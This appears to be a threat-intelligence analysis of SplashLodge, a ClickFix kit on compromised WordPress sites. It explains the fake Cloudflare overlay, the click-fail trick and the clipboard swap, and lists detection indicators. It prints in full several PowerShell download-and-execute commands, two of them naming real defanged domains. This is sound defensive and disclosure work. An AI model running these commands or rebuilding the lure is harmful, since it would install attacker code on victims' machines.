SplashLodge ClickFix kit

A WordPress splash replaces the page

SplashLodge's HTML carries the overlay, lure and command together. Two variables in the page head, SPLASH_AJAX_URL and SPLASH_COPY_TEXT, point back to the site's own wp-admin/admin-ajax.php endpoint. The action name is splash_dl.

The overlay covers the page with a fake Cloudflare check and a Ray ID. It hides itself on screens 600 pixels wide or narrower, so a phone can show the ordinary site while a desktop receives the lure.

The first click always fails

The visitor first sees a checkbox labelled "Verify you are human." Clicking it hides the checkbox and starts a spinner for a random two to five seconds. The page then reports that automatic verification failed and reveals Win+R, Ctrl+V and Enter instructions.

Those instructions include a Copy button and a harmless-looking verification string. The button reads SPLASH_COPY_TEXT for the clipboard while the visible string stays on screen. It uses the browser Clipboard API when available and creates a temporary text area for the older document.execCommand('copy') path. A green "Copied" message stays on screen for 2.5 seconds.

The command returns to WordPress

The hidden clipboard value is a PowerShell command. It requests a script from admin-ajax.php?action=splash_dl on the compromised site, writes the response to t.ps1 in the Windows temp folder and invokes that file:

powershell -w h -Command "$s=irm 'https://[site]/wp-admin/admin-ajax.php?action=splash_dl' -UseBasicParsing; $p=[System.IO.Path]::Combine($env:TEMP,'t.ps1'); [System.IO.File]::WriteAllText($p,$s); Invoke-Expression $p"

What we see

Month	New sites
September	0
October	1
November so far	0

Of the 0 sites recaptured at least 25 days after their first match, 0 were still serving SplashLodge (0%). 0 of the 1 site captured since 25 September ran WordPress.

Checking the splash and its handler

Search the page source and WordPress files for:

• SPLASH_AJAX_URL and SPLASH_COPY_TEXT in the same script block
• admin-ajax.php?action=splash_dl
• a full-screen modalBlock with additional-text hidden until verification fails
• a Copy button whose handler reads SPLASH_COPY_TEXT while copy-code holds the visible string
• a PowerShell string containing WriteAllText, t.ps1 and Invoke-Expression

Inspect any server-side code tied to splash_dl, plus the template or hook that writes the overlay into the page.

powershell -w h -Command "$s=irm 'hxxps://flexsportpools[.]com/wp-admin/admin-ajax.php?action=splash_dl' -UseBasicParsing; $p=[System.IO.Path]::Combine($env:TEMP, 't.ps1'); [System.IO.File]::WriteAllText($p, $s); Invoke-Expression $p"

powershell -w h -Command "$s=irm 'hxxps://youcool[.]pl/wp-admin/admin-ajax.php?action=splash_dl' -UseBasicParsing; $p=[System.IO.Path]::Combine($env:TEMP, 't.ps1'); [System.IO.File]::WriteAllText($p, $s); Invoke-Expression $p"